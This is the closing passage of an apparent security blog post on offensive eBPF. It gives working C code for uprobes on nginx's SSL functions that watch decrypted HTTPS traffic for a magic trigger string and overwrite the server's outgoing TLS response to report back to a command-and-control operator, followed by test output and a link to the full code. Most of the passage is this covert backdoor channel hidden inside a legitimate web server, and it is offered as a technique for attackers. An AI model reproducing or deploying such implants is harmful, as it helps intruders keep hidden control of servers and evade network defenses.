    <span class="n">__u64</span> <span class="o">*</span><span class="n">bufp</span> <span class="o">=</span> <span class="n">bpf_map_lookup_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bufs</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">);</span>  
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bufp</span><span class="p">)</span> <span class="p">{</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
    <span class="p">}</span>  
      
    <span class="k">struct</span> <span class="n">ssl_data_t</span> <span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="n">bpf_map_lookup_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ssl_data</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">zero</span><span class="p">);</span>  
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>  
        <span class="n">bpf_map_delete_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bufs</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">);</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
    <span class="p">}</span>  
<span class="c1">//…  </span>
    <span class="k">if</span> <span class="p">(</span><span class="n">bpf_probe_read_user</span><span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">,</span> <span class="n">MAX_BUF_SIZE</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">bufp</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>  
        <span class="n">bpf_map_delete_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bufs</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">);</span>  
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
    <span class="p">}</span>  
      
    <span class="c1">// Look for magic  </span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">-</span> <span class="n">MAGIC_LEN</span> <span class="o">&amp;&amp;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">MAX_BUF_SIZE</span> <span class="o">-</span> <span class="n">MAGIC_LEN</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>  
        <span class="k">if</span> <span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'0'</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'x'</span> <span class="o">&amp;&amp;</span>   
            <span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'1'</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span>   
            <span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'7'</span><span class="p">)</span> <span class="p">{</span>  
            <span class="n">__u8</span> <span class="n">flag</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>  
            <span class="n">bpf_map_update_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">magic_found</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">flag</span><span class="p">,</span> <span class="n">BPF_ANY</span><span class="p">);</span>  
            <span class="k">break</span><span class="p">;</span>  
        <span class="p">}</span>  
    <span class="p">}</span>  
<span class="c1">//…  </span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
<span class="p">}</span>  
</code></pre></div></div>
<p>Now if we send an HTTPS request with the magic value:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*** FOUND MAGIC STRING '0x1337' at offset 11! ***  
Data preview: 0x1337 HTTP/1.1  
</code></pre></div></div>

<h3 id="writing-back-to-the-c2">Writing back to the C2</h3>

<p>We want to send back information to the C2 after we’ve got the magic command. For that we can hook <code class="language-plaintext highlighter-rouge">SSL_write</code> and override the response sent back - we will put Nginx’s <code class="language-plaintext highlighter-rouge">PID</code> in the response:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SEC</span><span class="p">(</span><span class="s">"uprobe/SSL_write"</span><span class="p">)</span>  
<span class="kt">int</span> <span class="nf">probe_SSL_write_enter</span><span class="p">(</span><span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>  
    <span class="c1">// SSL_write(SSL *ssl, const void *buf, int num)  </span>
    <span class="n">__u64</span> <span class="n">buf_ptr</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">rsi</span><span class="p">;</span>  
    <span class="n">__u32</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="n">__u32</span><span class="p">)</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">rdx</span><span class="p">;</span>  
<span class="c1">//…  </span>
        <span class="n">__u64</span> <span class="n">pid_tgid</span> <span class="o">=</span> <span class="n">bpf_get_current_pid_tgid</span><span class="p">();</span>  
        <span class="n">__u32</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">pid_tgid</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">;</span>  
          
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bpf_map_lookup_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">magic_found</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pid_tgid</span><span class="p">))</span> <span class="p">{</span>  
            <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
        <span class="p">}</span>

        <span class="kt">char</span> <span class="n">response</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"HTTP/1.1 200 OK</span><span class="se">\r\n</span><span class="s">"</span>  
                         <span class="s">"Content-Type: text/plain</span><span class="se">\r\n</span><span class="s">"</span>  
                         <span class="s">"Content-Length: 10</span><span class="se">\r\n</span><span class="s">"</span>  
                         <span class="s">"Connection: close</span><span class="se">\r\n</span><span class="s">"</span>  
                         <span class="s">"</span><span class="se">\r\n</span><span class="s">"</span>  
                         <span class="s">"PID: 00000</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>  
          
        <span class="c1">// Send pid of nginx  </span>
        <span class="kt">int</span> <span class="n">pos</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">response</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">;</span>  
        <span class="n">__u32</span> <span class="n">temp_pid</span> <span class="o">=</span> <span class="n">pid</span><span class="p">;</span>  
          
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>  
            <span class="n">response</span><span class="p">[</span><span class="n">pos</span><span class="o">--</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'0'</span> <span class="o">+</span> <span class="p">(</span><span class="n">temp_pid</span> <span class="o">%</span> <span class="mi">10</span><span class="p">);</span>  
            <span class="n">temp_pid</span> <span class="o">/=</span> <span class="mi">10</span><span class="p">;</span>  
        <span class="p">}</span>

        <span class="kt">int</span> <span class="n">response_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">response</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>  
          
        <span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">&gt;=</span> <span class="n">response_len</span><span class="p">)</span> <span class="p">{</span>  
            <span class="n">bpf_probe_write_user</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">buf_ptr</span><span class="p">,</span> <span class="n">response</span><span class="p">,</span> <span class="n">response_len</span><span class="p">);</span>  
            <span class="n">bpf_printk</span><span class="p">(</span><span class="s">"Injected PID %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>  
        <span class="p">}</span>

        <span class="n">bpf_map_delete_elem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">magic_found</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pid_tgid</span><span class="p">);</span>  
    <span class="p">}</span>  
      
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  
<span class="err">}</span>  
</code></pre></div></div>
<p>Now sending the magic value in the HTTPS request gives us the response:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ dark_ebpf@dark-ebpf  ~ python3 test.py  
Sending simple HTTPS GET request with magic string in URL...  
Response: b'PID: 00904'  
</code></pre></div></div>
<p>A request without the magic yields:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ dark_ebpf@dark-ebpf  ~ curl -k https://localhost  
Hello nginx  
</code></pre></div></div>

<h3 id="summary">Summary</h3>

<p>To tie everything together, eBPF has simple and easy access to powerful technologies that can place hooks pretty much anywhere in the Linux system and is very powerful in the hands of attackers. Placing hooks in places like <code class="language-plaintext highlighter-rouge">SSL_decrypt</code> makes it trivial for an attacker to slip by all the fancy protections placed both for ingress and egress.</p>

<h2 id="references">References</h2>

<ul>
  <li>Full code - <a href="https://github.com/AtoZ132/dark-eBPF">https://github.com/AtoZ132/dark-eBPF</a></li>
  <li>A thorough introduction to eBPF - <a href="https://lwn.net/Articles/740157/">https://lwn.net/Articles/740157/</a></li>
  <li>Documentation on eBPF - <a href="https://docs.ebpf.io/">https://docs.ebpf.io/</a></li>
  <li>bpftrace - <a href="https://github.com/bpftrace/bpftrace">https://github.com/bpftrace/bpftrace</a></li>
  <li>libbpf - <a href="https://github.com/libbpf/libbpf">https://github.com/libbpf/libbpf</a></li>
  <li>bpf() syscall man page - <a href="https://man7.org/linux/man-pages/man2/bpf.2.html">https://man7.org/linux/man-pages/man2/bpf.2.html</a></li>
</ul>]]></content><author><name>AtoZ132</name></author><category term="eBPF" /><summary type="html"><![CDATA[Introduction]]></summary></entry></feed>